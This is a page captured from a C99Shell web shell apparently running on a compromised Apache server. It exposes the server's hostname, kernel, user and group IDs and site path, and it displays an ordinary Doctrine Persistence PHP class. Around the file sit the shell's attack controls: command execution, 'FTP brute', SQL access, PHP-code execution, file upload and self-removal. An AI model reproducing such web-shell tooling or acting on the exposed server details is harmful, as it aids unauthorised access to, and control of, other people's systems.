!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/doctrine/persistence/src/Persistence/   drwxr-xr-x
Free 28.61 GB of 117.98 GB (24.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractManagerRegistry.php (6.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Doctrine\Persistence;

use 
InvalidArgumentException;
use 
ReflectionClass;

use function 
sprintf;

/**
 * Abstract implementation of the ManagerRegistry contract.
 */
abstract class AbstractManagerRegistry implements ManagerRegistry
{
    
/** @var string */
    
private $name;

    
/** @var array<string, string> */
    
private $connections;

    
/** @var array<string, string> */
    
private $managers;

    
/** @var string */
    
private $defaultConnection;

    
/** @var string */
    
private $defaultManager;

    
/**
     * @var string
     * @psalm-var class-string
     */
    
private $proxyInterfaceName;

    
/**
     * @param array<string, string> $connections
     * @param array<string, string> $managers
     * @psalm-param class-string $proxyInterfaceName
     */
    
public function __construct(
        
string $name,
        array 
$connections,
        array 
$managers,
        
string $defaultConnection,
        
string $defaultManager,
        
string $proxyInterfaceName
    
) {
        
$this->name               $name;
        
$this->connections        $connections;
        
$this->managers           $managers;
        
$this->defaultConnection  $defaultConnection;
        
$this->defaultManager     $defaultManager;
        
$this->proxyInterfaceName $proxyInterfaceName;
    }

    
/**
     * Fetches/creates the given services.
     *
     * A service in this context is connection or a manager instance.
     *
     * @param string $name The name of the service.
     *
     * @return ObjectManager The instance of the given service.
     */
    
abstract protected function getService(string $name);

    
/**
     * Resets the given services.
     *
     * A service in this context is connection or a manager instance.
     *
     * @param string $name The name of the service.
     *
     * @return void
     */
    
abstract protected function resetService(string $name);

    
/**
     * Gets the name of the registry.
     *
     * @return string
     */
    
public function getName()
    {
        return 
$this->name;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getConnection(?string $name null)
    {
        if (
$name === null) {
            
$name $this->defaultConnection;
        }

        if (! isset(
$this->connections[$name])) {
            throw new 
InvalidArgumentException(
                
sprintf('Doctrine %s Connection named "%s" does not exist.'$this->name$name)
            );
        }

        return 
$this->getService($this->connections[$name]);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getConnectionNames()
    {
        return 
$this->connections;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getConnections()
    {
        
$connections = [];
        foreach (
$this->connections as $name => $id) {
            
$connections[$name] = $this->getService($id);
        }

        return 
$connections;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getDefaultConnectionName()
    {
        return 
$this->defaultConnection;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getDefaultManagerName()
    {
        return 
$this->defaultManager;
    }

    
/**
     * {@inheritdoc}
     *
     * @throws InvalidArgumentException
     */
    
public function getManager(?string $name null)
    {
        if (
$name === null) {
            
$name $this->defaultManager;
        }

        if (! isset(
$this->managers[$name])) {
            throw new 
InvalidArgumentException(
                
sprintf('Doctrine %s Manager named "%s" does not exist.'$this->name$name)
            );
        }

        return 
$this->getService($this->managers[$name]);
    }

    
/**
     * {@inheritDoc}
     */
    
public function getManagerForClass(string $class)
    {
        
$proxyClass = new ReflectionClass($class);
        if (
$proxyClass->isAnonymous()) {
            return 
null;
        }

        if (
$proxyClass->implementsInterface($this->proxyInterfaceName)) {
            
$parentClass $proxyClass->getParentClass();

            if (
$parentClass === false) {
                return 
null;
            }

            
$class $parentClass->getName();
        }

        foreach (
$this->managers as $id) {
            
$manager $this->getService($id);

            if (! 
$manager->getMetadataFactory()->isTransient($class)) {
                return 
$manager;
            }
        }

        return 
null;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getManagerNames()
    {
        return 
$this->managers;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getManagers()
    {
        
$managers = [];

        foreach (
$this->managers as $name => $id) {
            
$manager         $this->getService($id);
            
$managers[$name] = $manager;
        }

        return 
$managers;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getRepository(
        
string $persistentObject,
        ?
string $persistentManagerName null
    
) {
        return 
$this
            
->selectManager($persistentObject$persistentManagerName)
            ->
getRepository($persistentObject);
    }

    
/**
     * {@inheritdoc}
     */
    
public function resetManager(?string $name null)
    {
        if (
$name === null) {
            
$name $this->defaultManager;
        }

        if (! isset(
$this->managers[$name])) {
            throw new 
InvalidArgumentException(sprintf('Doctrine %s Manager named "%s" does not exist.'$this->name$name));
        }

        
// force the creation of a new document manager
        // if the current one is closed
        
$this->resetService($this->managers[$name]);

        return 
$this->getManager($name);
    }

    
/** @psalm-param class-string $persistentObject */
    
private function selectManager(
        
string $persistentObject,
        ?
string $persistentManagerName null
    
): ObjectManager {
        if (
$persistentManagerName !== null) {
            return 
$this->getManager($persistentManagerName);
        }

        return 
$this->getManagerForClass($persistentObject) ?? $this->getManager();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--